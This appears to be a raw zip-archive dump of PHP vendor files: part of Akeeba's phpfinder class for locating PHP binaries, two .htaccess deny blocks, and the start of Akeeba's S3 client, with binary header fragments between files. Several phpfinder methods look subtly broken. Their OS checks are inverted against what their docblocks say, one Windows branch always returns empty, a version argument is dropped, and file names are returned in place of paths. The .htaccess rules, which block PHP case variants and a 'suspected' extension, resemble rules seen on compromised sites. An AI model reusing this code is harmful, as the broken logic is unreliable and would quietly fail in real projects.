	 * Available on Linux (only Debian and derivatives). Fast.
	 *
	 * @param   string|null  $version  Optional PHP version to look for
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsUsingUpdateAlternatives(?string $version): array
	{
		if (
			!$this->configuration->osSpecific
			|| !$this->configuration->useUpdateAlternatives
			|| in_array(strtoupper(PHP_OS_FAMILY), ['LINUX', 'BSD'])
		)
		{
			return [];
		}

		if (!function_exists('exec') || !$this->executableExists('update-alternatives'))
		{
			return [];
		}

		$possibleExecutables = $this->getBinaryNamesForVersion($version);
		$ret                 = [];

		$result = @exec('update-alternatives --list php 2>/dev/null', $output);

		if ($result === false)
		{
			return $ret;
		}

		foreach ($output as $line)
		{
			$parts    = explode(DIRECTORY_SEPARATOR, $line);
			$lastPart = end($parts);

			if (in_array($lastPart, $possibleExecutables, true))
			{
				$ret[] = $line;

				continue;
			}

			if (strpos($lastPart, '/') === false && strpos($lastPart, '\\') === false)
			{
				continue;
			}

			$lastPart = str_replace('\\', '/', $lastPart);
			$parts    = explode(DIRECTORY_SEPARATOR, $lastPart);
			$lastPart = end($parts);

			if (in_array($lastPart, $possibleExecutables, true))
			{
				$ret[] = $line;
			}
		}

		return $ret;
	}

	/**
	 * Find possible PHP paths using `whereis`.
	 *
	 * Available on Linux, macOS. Slow (over 1 second).
	 *
	 * @param   string|null  $version  Optional PHP version to look for
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsUsingWhereIs(?string $version): array
	{
		if (
			!$this->configuration->osSpecific
			|| !$this->configuration->useWhereIs
			|| !in_array(strtoupper(PHP_OS_FAMILY), ['LINUX', 'BSD', 'DARWIN'])
		)
		{
			return [];
		}

		if (!function_exists('exec') || !$this->executableExists('whereis'))
		{
			return [];
		}

		$possibleExecutables = $this->getBinaryNamesForVersion($version);
		$ret                 = [];

		foreach ($possibleExecutables as $executable)
		{
			$result = @exec('whereis -b ' . escapeshellarg($executable) . ' 2>/dev/null');

			if ($result === false)
			{
				continue;
			}

			[, $rawList] = explode(':', $result);
			$list = explode(' ', $rawList);
			$list = array_filter($list);

			if (empty($list))
			{
				continue;
			}

			foreach ($list as $path)
			{
				if (!@is_file($path))
				{
					continue;
				}

				$ret[] = $path;
			}
		}

		return $ret;
	}

	/**
	 * Get possible PHP paths using `where`.
	 *
	 * Available on Windows. Fast.
	 *
	 * @param   string|null  $version  Optional PHP version to look for
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsUsingWhere(?string $version = null): array
	{
		if (
			!$this->configuration->osSpecific
			|| !$this->configuration->useWhere
			|| strtoupper(PHP_OS_FAMILY) !== 'WINDOWS'
		)
		{
			return [];
		}

		if (!function_exists('exec') || !$this->executableExists('where'))
		{
			return [];
		}

		$possibleExecutables = $this->getBinaryNamesForVersion($version);
		$ret                 = [];

		foreach ($possibleExecutables as $executable)
		{
			$where = @exec('where ' . escapeshellarg($executable), $output, $resultCode);

			if ($where === false || $resultCode !== 0)
			{
				continue;
			}

			$paths = explode("\n", $where);
			$paths = array_filter($paths);

			$ret = array_merge($ret, $paths);
		}

		return $ret;
	}

	/**
	 * Get possible paths from common windows PHP installation paths
	 *
	 * @param   string|null  $version  The version to look for
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsFromCommonWindowsInstallPaths(?string $version = null): array
	{
		if (
			!$this->configuration->osSpecific
			|| !$this->configuration->usePHPCommonWinDirsSearch
			|| strtoupper(PHP_OS_FAMILY) !== 'WINDOWS'
		)
		{
			return [];
		}

		$possiblePaths = [];

		foreach ($this->getWindowsDrives() as $drive)
		{
			$possiblePaths = array_merge(
				$possiblePaths,
				$this->getWindowsProgramFilesPHPPaths($drive, $version),
				$this->getWindowsProgramFilesPHPPaths($drive . '\\Program Files', $version),
				$this->getWindowsProgramFilesPHPPaths($drive . '\\Program Files (x86)', $version)
			);
		}

		$programFiles    = @getenv('PROGRAMFILES');
		$programFilesx86 = @getenv('PROGRAMFILES(X86)');

		$possiblePaths = array_merge($possiblePaths, $this->getWindowsProgramFilesPHPPaths($programFiles, $version));
		$possiblePaths = array_merge($possiblePaths, $this->getWindowsProgramFilesPHPPaths($programFilesx86, $version));

		$possiblePaths = array_unique($possiblePaths);

		asort($possiblePaths);

		$ret = [];

		$binaryNames = $this->getBinaryNamesForVersion($version);

		foreach ($possiblePaths as $path => $maxNesting)
		{
			$ret = array_merge(
				$ret,
				$this->recursivePathScanner($path, 0, $maxNesting, $binaryNames)
			);
		}

		return array_unique($ret);
	}

	/**
	 * Return cPanel-specific PHP paths. Only works given a version.
	 *
	 * Available on Linux. Very fast.
	 *
	 * @param   string|null  $version  The version to get paths for.
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsCPanel(?string $version): array
	{
		/** @noinspection DuplicatedCode */
		if (
			empty($version)
			|| !$this->configuration->softwareSpecific
			|| in_array(strtoupper(PHP_OS_FAMILY), ['LINUX', 'BSD'])
		)
		{
			return [];
		}

		[$major, $minor] = $this->getMajorMinor($version);

		if ($major === null || $minor === null)
		{
			return [];
		}

		$suffix = $major . $minor;

		return [
			'/opt/cpanel/ea-php' . $suffix . '/root/usr/bin/php',
			'/usr/bin/ea-php' . $suffix,
			'/usr/local/bin/ea-php' . $suffix,
		];
	}

	/**
	 * Return CloudLinux-specific PHP paths. Only works given a version.
	 *
	 * Available on Linux. Very fast.
	 *
	 * @param   string|null  $version  The version to get paths for.
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsCloudLinux(?string $version): array
	{
		/** @noinspection DuplicatedCode */
		if (
			empty($version)
			|| !$this->configuration->softwareSpecific
			|| in_array(strtoupper(PHP_OS_FAMILY), ['LINUX', 'BSD'])
		)
		{
			return [];
		}

		[$major, $minor] = $this->getMajorMinor($version);

		if ($major === null || $minor === null)
		{
			return [];
		}

		$suffix = $major . $minor;

		return [
			'/opt/cloudlinux/alt-php' . $suffix . '/root/usr/bin/php',
			'/usr/bin/alt-php' . $suffix,
			'/usr/local/bin/alt-php' . $suffix,
		];
	}

	/**
	 * Return Plesk-specific PHP paths. Only works given a version.
	 *
	 * Available on Linux. Very fast.
	 *
	 * @param   string|null  $version  The version to get paths for.
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsPlesk(?string $version): array
	{
		if (
			empty($version)
			|| !$this->configuration->softwareSpecific
		)
		{
			return [];
		}

		[$major, $minor] = $this->getMajorMinor($version);

		if ($major === null || $minor === null)
		{
			return [];
		}

		$suffix = $major . '.' . $minor;

		switch (strtoupper(PHP_OS_FAMILY))
		{
			case 'LINUX':
			case 'BSD':
				return [
					'/opt/plesk/php/' . $suffix . '/bin/php',
					'/usr/bin/php' . $suffix,
					'/usr/local/bin/php' . $suffix,
				];

			case 'WINDOWS':
				// Binary found in %plesk_dir%Additional\PHPXX\php.exe
				$pleskDir = @getenv('PLESK_DIR');

				if (empty($pleskDir))
				{
					return [];
				}

				return [
					rtrim($pleskDir, '\\') . '\\Additional\\PHP' . $suffix . '\\php.exe',
				];

			default:
				return [];
		}
	}

	/**
	 * Returns the PHP path for XAMPP.
	 *
	 * This assumes that you are using the default installation path which is one of the following.
	 *
	 * - Windows: C:\xampp on Windows (where C: could be any known drive letter)
	 * - Linux: /opt/lampp
	 * - macOS: /Applications/XAMPP
	 *
	 * @param   string|null  $version  Ignored; XAMPP only has one PHP version installed at a time.
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsXAMPP(?string $version): array
	{
		if (!$this->configuration->softwareSpecific)
		{
			return [];
		}

		switch (strtoupper(PHP_OS_FAMILY))
		{
			case 'WINDOWS':
				return array_map(
					function ($drive) {
						return rtrim($drive, '\\') . '\\xampp\\php\\php.exe';
					},
					$this->getWindowsDrives() ?: ['C:']
				);

			case 'LINUX':
			case 'BSD':
				return [
					'/opt/lampp/php/php',
				];

			case 'DARWIN':
				return [
					'/Applications/XAMPP/php/php',
				];

			default:
				return [];
		}
	}

	/**
	 * Get the MAMP / MAMP Pro paths for PHP CLI.
	 *
	 * Available on macOS, and Windows. Fast.
	 *
	 * @param   string|null  $version  The version to get paths for.
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsMAMP(?string $version)
	{
		if (!$this->configuration->softwareSpecific)
		{
			return [];
		}

		switch (strtoupper(PHP_OS_FAMILY))
		{
			case 'DARWIN':
				$rootPath = '/Applications/MAMP/bin/php/';
				break;

			case 'WINDOWS':
				$drives = $this->getWindowsDrives();

				foreach ($drives as $drive)
				{
					$rootPath = $drive . '\\MAMP\\bin\\php';

					if (!@is_dir($rootPath))
					{
						continue;
					}

					$rootPath .= '\\';
					break;
				}

				return [];

			default:
				return [];
		}

		if (!@is_dir($rootPath))
		{
			return [];
		}

		return $this->recursivePathScanner($rootPath, 0, 1, ['php']);
	}

	/**
	 * Get the HomeBrew paths for PHP CLI.
	 *
	 * Available on macOS, and Linux. Moderately fast.
	 *
	 * @param   string|null  $version  The version to get paths for.
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsHomeBrew(?string $version): array
	{
		if (!$this->configuration->softwareSpecific && !in_array(strtoupper(PHP_OS_FAMILY), ['LINUX', 'BSD', 'DARWIN']))
		{
			return [];
		}

		if (!function_exists('exec') || !$this->executableExists('brew'))
		{
			return [];
		}

		$checkFor = [];

		[$major, $minor] = $this->getMajorMinor($version);

		if ($minor !== null && $major === null)
		{
			$checkFor[] = 'php@' . $major . '.' . $minor;
		}

		$checkFor[] = 'php';

		foreach ($checkFor as $package)
		{
			$result = @exec('brew --prefix ' . escapeshellarg($package));

			if (!$result)
			{
				continue;
			}

			return [$result];
		}

		return [];
	}

	/**
	 * Get the WAMPServer paths for PHP CLI.
	 *
	 * IMPORTANT! This will return the paths to PHP CLI for all installed PHP versions. Unlike most other prepackaged
	 * xAMP servers, WAMPServer allows you to have multiple patch versions of the same minor PHP version installed at
	 * the same time. This makes it impossible to find a specific PHP version if you give only a minor version. This can
	 * be addressed by checking for the exact version during the verification stage.
	 *
	 * Available on Windows. Moderately fast.
	 *
	 * @param   string|null  $version  The version to get paths for.
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsWAMPServer(?string $version): array
	{
		if (!$this->configuration->softwareSpecific && strtoupper(PHP_OS_FAMILY) != 'WINDOWS')
		{
			return [];
		}

		$possiblePaths = [];

		foreach ($this->getWindowsDrives() as $drive)
		{
			$possiblePaths[$drive . '\\wamp\\bin\\php']                            = 1;
			$possiblePaths[$drive . '\\wamp64\\bin\\php']                          = 1;
			$possiblePaths[$drive . '\\Program Files (x86)\\WampServer\\bin\\php'] = 1;
			$possiblePaths[$drive . '\\Program Files\\WampServer\\bin\\php']       = 1;
		}

		$possiblePaths = array_filter(
			$possiblePaths,
			function ($path) {
				return @is_dir($path);
			}
		);

		if (empty($possiblePaths))
		{
			return [];
		}

		$ret = [];

		foreach ($possiblePaths as $path => $maxDepth)
		{
			$ret[] = array_merge($ret, $this->recursivePathScanner($path, 0, $maxDepth, ['php']));
		}

		return $ret;
	}

	/**
	 * Extract the major and minor version integers from a version string.
	 *
	 * @param   string|null  $version  The version to parse.
	 *
	 * @return  array  The major and minor versions. NULL elements if invalid version.
	 * @since   1.0.0
	 */
	private function getMajorMinor(?string $version = null): array
	{
		$major = null;
		$minor = null;

		if (empty ($version))
		{
			return [$major, $minor];
		}

		$parts = explode('.', $version);
		$major = @intval($parts[0]);
		$minor = $parts[1] ?? null;
		$minor = $minor === null ? null : @intval($minor);

		$major = $major ?: null;
		$minor = $major === null ? null : ($minor ?: null);

		return [$major, $minor];
	}

	/**
	 * Get a list of possible PHP binary names for a given PHP version.
	 *
	 * Note: this does NOT add the `.exe` suffix on Windows!
	 *
	 * @param   string|null  $version  The optional PHP version
	 *
	 * @return  string[]
	 * @since   1.0.0
	 */
	private function getBinaryNamesForVersion(?string $version = null): array
	{
		$possibleExecutables = ['php'];

		[$major, $minor] = $this->getMajorMinor($version);

		if ($major === null)
		{
			return $possibleExecutables;
		}

		$suffix    = $major . ($minor ?? '');
		$altSuffix = $major . ($minor === null ? '' : ':') . ($minor ?? '');

		$possibleExecutables[] = 'php' . $suffix;
		$possibleExecutables[] = 'php' . $altSuffix;
		$possibleExecutables[] = 'ea-php' . $suffix;
		$possibleExecutables[] = 'alt-php' . $suffix;

		if ($this->configuration->extendedBinaryNameSearch)
		{
			$possibleExecutables[] = 'php-cli';
			$possibleExecutables[] = 'php' . $suffix . '-cli';
			$possibleExecutables[] = 'php' . $altSuffix . '-cli';
			$possibleExecutables[] = 'php-' . $suffix;
			$possibleExecutables[] = 'php-' . $altSuffix;
			$possibleExecutables[] = 'php-' . $suffix . 'cli';
			$possibleExecutables[] = 'php-cli-' . $suffix;
			$possibleExecutables[] = 'php-cli' . $suffix;
		}

		return $possibleExecutables;
	}

	/**
	 * Gets the current list of known Windows drives.
	 *
	 * This uses the Windows Management Instrumentation (wmic), or fsutil. If both fail, it returns only  %SYSTEMDRIVE%.
	 *
	 * @return  string[]
	 * @since   1.0.0
	 */
	private function getWindowsDrives(): array
	{
		static $drives = null;

		if ($drives !== null)
		{
			return $drives;
		}

		$defaultFallback = [getenv('SYSTEMDRIVE') ?: 'C:'];

		if (!function_exists('exec'))
		{
			return $drives = $defaultFallback;
		}

		// First, let's try WMIC (deprecated since Windows 11)
		$result = $this->executableExists('wmic')
			? @exec('wmic logicaldisk get name', $output)
			: false;

		if ($result !== false)
		{
			return $drives = array_filter(
				$output,
				function ($item) {
					return strpos($item, ':') !== false;
				}
			);
		}

		// Use fsutil as a fallback
		$result = $this->executableExists('fsutil')
			? @exec('fsutil fsinfo drives')
			: false;

		if ($result !== false)
		{
			$parts = explode(':', $result, 2);

			return $drives = array_map(
				function ($x) {
					return rtrim(trim($x), '\\');
				},
				array_filter(explode(' ', $parts[1] ?? ''))
			) ?: $defaultFallback;
		}

		// If all else fails, return %SYSTEMDRIVE% or if that's not available just 'C:'.
		return $drives = $defaultFallback;
	}

	/**
	 * Recursively scan paths on Windows for PHP binaries
	 *
	 * @param   string  $path         The path to scan
	 * @param   int     $depth        Current depth
	 * @param   int     $maxNesting   Maximum depth to scan
	 * @param   array   $binaryNames  List of allowed binary names (without the .exe suffix)
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function recursivePathScanner(string $path, int $depth, int $maxNesting, array $binaryNames): array
	{
		if (!@is_dir($path))
		{
			return [];
		}

		$ret       = [];
		$isWindows = strtoupper(PHP_OS_FAMILY) === 'WINDOWS';

		/** @var \DirectoryIterator $file */
		foreach (new \DirectoryIterator($path) as $file)
		{
			if ($file->isDot())
			{
				continue;
			}

			if ($file->isDir())
			{
				if ($depth >= $maxNesting)
				{
					continue;
				}

				$ret = array_merge(
					$ret,
					$this->recursivePathScanner($file->getPathName(), $depth + 1, $maxNesting, $binaryNames)
				);

				continue;
			}

			if (!$file->isFile())
			{
				continue;
			}

			if ($isWindows)
			{
				if ($file->getExtension() === 'exe' && in_array($file->getBasename('.exe'), $binaryNames))
				{
					$ret[] = $file->getBasename();
				}

			}
			elseif (in_array($file->getBasename(), $binaryNames))
			{
				$ret[] = $file->getBasename();
			}
		}

		return $ret;
	}

	/**
	 * Analyzes the version information output of the suspected PHP CLI binary.
	 *
	 * @param   string  $path
	 *
	 * @return  object{version: string, cli: bool}
	 * @since   1.0.0
	 */
	private function analyzePHPVersion(string $path): object
	{
		$ret = (object) [
			'version' => null,
			'cli'     => false,
		];

		if (!function_exists('exec'))
		{
			return $ret;
		}

		$result = @file_exists($path)
		          && $this->isExecutable($path)
		          && @exec(escapeshellcmd($path) . ' -v', $output);

		if (!$result)
		{
			return $ret;
		}

		foreach ($output as $line)
		{
			if (substr($line, 0, 4) !== 'PHP ')
			{
				continue;
			}

			// PHP x.y.x (cli) (built: blah blah)
			$parts = explode(' ', $line);

			if (count($parts) < 3)
			{
				return $ret;
			}

			$ret->version = $parts[1];
			$ret->cli     = $parts[2] === '(cli)';

			return $ret;
		}

		return $ret;
	}

	/**
	 * Get Windows PHP paths for a specific Program Files directory
	 *
	 * @param   string       $pathPrefix
	 * @param   string|null  $version
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function getWindowsProgramFilesPHPPaths(string $pathPrefix, ?string $version): array
	{
		$possiblePaths = [];

		if (!$pathPrefix)
		{
			return $possiblePaths;
		}

		[$major, $minor] = $this->getMajorMinor();

		$possiblePaths[rtrim($pathPrefix, '\\') . '\\PHP'] = 1;

		if ($minor !== null)
		{
			$possiblePaths[rtrim($pathPrefix, '\\') . '\\PHP' . $major . $minor]       = 0;
			$possiblePaths[rtrim($pathPrefix, '\\') . '\\PHP' . $major . '.' . $minor] = 0;
			$possiblePaths[rtrim($pathPrefix, '\\') . '\\PHP' . $version]              = 0;
		}

		return $possiblePaths;
	}

	/**
	 * Checks whether a command exists in the user's PATH, and points to an executable file.
	 *
	 * @param   string  $command  The command to check for.
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	private function executableExists(string $command): bool
	{
		$path = getenv('PATH');

		if (empty($path))
		{
			return false;
		}

		$directories = explode(PATH_SEPARATOR, $path);

		foreach ($directories as $directory)
		{
			$fullPath = rtrim($directory, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $command;

			if ($this->isExecutable($fullPath))
			{
				return true;
			}
		}

		return false;
	}

	private function isExecutable(string $fullPath): bool
	{
		if (@is_executable($fullPath))
		{
			return true;
		}

		if (
			(strtoupper(PHP_OS_FAMILY) === 'WINDOWS')
			&& (
				@is_executable($fullPath . '.exe')
				|| @is_executable($fullPath . '.com')
				|| @is_executable($fullPath . '.bat')
			)
		)
		{
			return true;
		}

		return false;
	}
}PK     \Sʉ      %  vendor/akeeba/phpfinder/src/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      !  vendor/akeeba/phpfinder/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \      vendor/akeeba/s3/rector.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

declare(strict_types=1);

return \Rector\Config\RectorConfig::configure()
    ->withPaths([
            __DIR__ . '/src',
        ])
    ->withPhpVersion(Rector\ValueObject\PhpVersion::PHP_84)
    ->withRules([
        Rector\Php84\Rector\Param\ExplicitNullableParamTypeRector::class,
    ]);
PK     \%[      vendor/akeeba/s3/composer.jsonnu [        {
	"name": "akeeba/s3",
	"type": "library",
	"description": "A compact, dependency-less Amazon S3 API client implementing the most commonly used features",
	"require": {
		"php": "^7.4.0|^8.0",
		"ext-curl": "*",
		"ext-simplexml": "*"
	},
	"keywords": [
		"s3"
	],
	"homepage": "https://github.com/akeeba/s3",
	"license": "GPL-3.0-or-later",
	"authors": [
		{
			"name": "Nicholas K. Dionysopoulos",
			"email": "nicholas_NO_SPAM_PLEASE@akeeba.com",
			"homepage": "http://www.dionysopoulos.me",
			"role": "Lead Developer"
		}
	],
	"autoload": {
		"psr-4": {
			"Akeeba\\S3\\": "src"
		},
		"files": [
			"src/aliasing.php"
		]
	},
	"archive": {
		"exclude": [
			"minitest",
			"TODO.md"
		]
	}
}
PK     \6      vendor/akeeba/s3/src/Acl.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3;

// Protection against direct access
defined('AKEEBAENGINE') || die();

/**
 * Shortcuts to often used access control privileges
 */
class Acl
{
	public const ACL_PRIVATE = 'private';

	public const ACL_PUBLIC_READ = 'public-read';

	public const ACL_PUBLIC_READ_WRITE = 'public-read-write';

	public const ACL_AUTHENTICATED_READ = 'authenticated-read';

	public const ACL_BUCKET_OWNER_READ = 'bucket-owner-read';

	public const ACL_BUCKET_OWNER_FULL_CONTROL = 'bucket-owner-full-control';
}
PK     \k    !  vendor/akeeba/s3/src/aliasing.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Automatic aliasing of the old namespace to the new, as you use each old class.
 */
spl_autoload_register(
	static function (string $className)
	{
		$oldNS = 'Akeeba\Engine\Postproc\Connector\S3v4';
		$newNS = 'Akeeba\S3';

		$className = trim($className, '\\');

		if (strpos($className, $oldNS) !== 0)
		{
			return false;
		}

		$newClassName = $newNS . '\\' . trim(substr($className, strlen($oldNS)), '\\');

		if (class_exists($newClassName, true))
		{
			class_alias($newClassName, $className, false);
		}

		return true;
	}
);
PK     \>ek  ek  "  vendor/akeeba/s3/src/Connector.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3;

// Protection against direct access
use Akeeba\S3\Exception\CannotDeleteFile;
use Akeeba\S3\Exception\CannotGetBucket;
use Akeeba\S3\Exception\CannotGetFile;
use Akeeba\S3\Exception\CannotListBuckets;
use Akeeba\S3\Exception\CannotOpenFileForWrite;
use Akeeba\S3\Exception\CannotPutFile;
use Akeeba\S3\Response\Error;

defined('AKEEBAENGINE') || die();

class Connector
{
	/**
	 * Amazon S3 configuration object
	 *
	 * @var  Configuration
	 */
	private $configuration = null;

	/**
	 * Connector constructor.
	 *
	 * @param   Configuration  $configuration  The configuration object to use
	 */
	public function __construct(Configuration $configuration)
	{
		$this->configuration = $configuration;
	}

	/**
	 * Put an object to Amazon S3, i.e. upload a file. If the object already exists it will be overwritten.
	 *
	 * @param   Input   $input           Input object
	 * @param   string  $bucket          Bucket name. If you're using v4 signatures it MUST be on the region defined.
	 * @param   string  $uri             Object URI. Think of it as the absolute path of the file in the bucket.
	 * @param   string  $acl             ACL constant, by default the object is private (visible only to the uploading
	 *                                   user)
	 * @param   array   $requestHeaders  Array of request headers
	 *
	 * @return  void
	 *
	 * @throws CannotPutFile If the upload is not possible
	 */
	public function putObject(Input $input, string $bucket, string $uri, string $acl = Acl::ACL_PRIVATE, array $requestHeaders = []): void
	{
		$request = new Request('PUT', $bucket, $uri, $this->configuration);
		$request->setInput($input);

		// Custom request headers (Content-Type, Content-Disposition, Content-Encoding)
		if (count($requestHeaders))
		{
			foreach ($requestHeaders as $h => $v)
			{
				if (strtolower(substr($h, 0, 6)) == 'x-amz-')
				{
					$request->setAmzHeader(strtolower($h), $v);
				}
				else
				{
					$request->setHeader($h, $v);
				}
			}
		}

		if (isset($requestHeaders['Content-Type']))
		{
			$input->setType($requestHeaders['Content-Type']);
		}

		if (($input->getSize() <= 0) || (($input->getInputType() == Input::INPUT_DATA) && (!strlen($input->getDataReference()))))
		{
			if (substr($uri, -1) !== '/')
			{
				throw new CannotPutFile('Missing input parameters', 0);
			}
		}

		// We need to post with Content-Length and Content-Type, MD5 is optional
		$request->setHeader('Content-Type', $input->getType());
		$request->setHeader('Content-Length', $input->getSize());

		if ($input->getMd5sum())
		{
			$request->setHeader('Content-MD5', $input->getMd5sum());
		}

		$request->setAmzHeader('x-amz-acl', $acl);

		$response = $request->getResponse();

		if ($response->code !== 200)
		{
			if (!$response->error->isError())
			{
				throw new CannotPutFile("Unexpected HTTP status {$response->code}", $response->code);
			}

			if (is_object($response->body) && ($response->body instanceof \SimpleXMLElement) && (strpos($input->getSize(), ',') === false))
			{
				// For some reason, trying to single part upload files on some hosts comes back with an inexplicable
				// error from Amazon that we need to set Content-Length:5242880,5242880 instead of
				// Content-Length:5242880 which is AGAINST Amazon's documentation. In this case we pass the header
				// 'workaround-braindead-error-from-amazon' and retry. Uh, OK?
				if (isset($response->body->CanonicalRequest))
				{
					$amazonsCanonicalRequest = (string) $response->body->CanonicalRequest;
					$lines                   = explode("\n", $amazonsCanonicalRequest);

					foreach ($lines as $line)
					{
						if (substr($line, 0, 15) != 'content-length:')
						{
							continue;
						}

						[$junk, $stupidAmazonDefinedContentLength] = explode(":", $line);

						if (strpos($stupidAmazonDefinedContentLength, ',') !== false)
						{
							if (!isset($requestHeaders['workaround-braindead-error-from-amazon']))
							{
								$requestHeaders['workaround-braindead-error-from-amazon'] = 'you can\'t fix stupid';

								$this->putObject($input, $bucket, $uri, $acl, $requestHeaders);

								return;
							}
						}
					}
				}
			}
		}


		if ($response->error->isError())
		{
			throw new CannotPutFile(
				sprintf(__METHOD__ . "(): [%s] %s\n\nDebug info:\n%s", $response->error->getCode(), $response->error->getMessage(), print_r($response->body, true))
			);
		}
	}

	/**
	 * Get (download) an object
	 *
	 * @param   string                $bucket  Bucket name
	 * @param   string                $uri     Object URI
	 * @param   string|resource|null  $saveTo  Filename or resource to write to
	 * @param   int|null              $from    Start of the download range, null to download the entire object
	 * @param   int|null              $to      End of the download range, null to download the entire object
	 *
	 * @return  string|null  No return if $saveTo is specified; data as string otherwise
	 *
	 */
	public function getObject(string $bucket, string $uri, $saveTo = null, ?int $from = null, ?int $to = null): ?string
	{
		$request = new Request('GET', $bucket, $uri, $this->configuration);

		$fp = null;

		if (!is_resource($saveTo) && is_string($saveTo))
		{
			$fp = @fopen($saveTo, 'w');

			if ($fp === false)
			{
				throw new CannotOpenFileForWrite($saveTo);
			}
		}

		if (is_resource($saveTo))
		{
			$fp = $saveTo;
		}

		if (is_resource($fp))
		{
			$request->setFp($fp);
		}

		// Set the range header
		if ((!empty($from) && !empty($to)) || (!is_null($from) && !empty($to)))
		{
			$request->setHeader('Range', "bytes=$from-$to");
		}

		$response = $request->getResponse(true);

		if (!$response->error->isError() && (($response->code !== 200) && ($response->code !== 206)))
		{
			$response->error = new Error(
				$response->code,
				"Unexpected HTTP status {$response->code}"
			);
		}

		if ($response->error->isError())
		{
			throw new CannotGetFile(
				sprintf(
					__METHOD__ . "({%s}, {%s}): [%s] %s\n\nDebug info:\n%s",
					$bucket,
					$uri,
					$response->error->getCode(),
					$response->error->getMessage(),
					print_r($response->body, true)
				)
			);
		}

		if (!is_resource($fp))
		{
			return $response->body;
		}

		return null;
	}

	/**
	 * Get information about an object.
	 *
	 * @param   string  $bucket  Bucket name
	 * @param   string  $uri     Object URI
	 *
	 * @return  array  The headers returned by Amazon S3
	 *
	 * @throws  CannotGetFile  If the file does not exist
	 * @see     https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadObject.html
	 */
	public function headObject(string $bucket, string $uri): array
	{
		$request = new Request('HEAD', $bucket, $uri, $this->configuration);

		$response = $request->getResponse();

		if (!$response->error->isError() && (($response->code !== 200) && ($response->code !== 206)))
		{
			$response->error = new Error(
				$response->code,
				"Unexpected HTTP status {$response->code}"
			);
		}

		if ($response->error->isError())
		{
			throw new CannotGetFile(
				sprintf(
					__METHOD__ . "({%s}, {%s}): [%s] %s\n\nDebug info:\n%s",
					$bucket,
					$uri,
					$response->error->getCode(),
					$response->error->getMessage(),
					print_r($response->body, true)
				)
			);
		}

		return $response->getHeaders();
	}


	/**
	 * Delete an object
	 *
	 * @param   string  $bucket  Bucket name
	 * @param   string  $uri     Object URI
	 *
	 * @return  void
	 */
	public function deleteObject(string $bucket, string $uri): void
	{
		$request  = new Request('DELETE', $bucket, $uri, $this->configuration);
		$response = $request->getResponse();

		if (!$response->error->isError() && ($response->code !== 204))
		{
			$response->error = new Error(
				$response->code,
				"Unexpected HTTP status {$response->code}"
			);
		}

		if ($response->error->isError())
		{
			throw new CannotDeleteFile(
				sprintf(
					__METHOD__ . "({%s}, {%s}): [%s] %s",
					$bucket,
					$uri,
					$response->error->getCode(),
					$response->error->getMessage()
				)
			);
		}
	}

	/**
	 * Get a query string authenticated URL
	 *
	 * @param   string    $bucket    Bucket name
	 * @param   string    $uri       Object URI
	 * @param   int|null  $lifetime  Lifetime in seconds
	 * @param   bool      $https     Use HTTPS ($hostBucket should be false for SSL verification)?
	 *
	 * @return  string
	 */
	public function getAuthenticatedURL(string $bucket, string $uri, ?int $lifetime = null, bool $https = false): string
	{
		// Get a request from the URI and bucket
		$questionmarkPos = strpos($uri, '?');
		$query           = '';

		if ($questionmarkPos !== false)
		{
			$query = substr($uri, $questionmarkPos + 1);
			$uri   = substr($uri, 0, $questionmarkPos);
		}


		/**
		 * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
		 * !!!!             DO NOT TOUCH THIS CODE. YOU WILL BREAK PRE-SIGNED URLS WITH v4 SIGNATURES.              !!!!
		 * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
		 *
		 * The following two lines seem weird and possibly extraneous at first glance. However, they are VERY important.
		 * If you remove them pre-signed URLs for v4 signatures will break! That's because pre-signed URLs with v4
		 * signatures follow different rules than with v2 signatures.
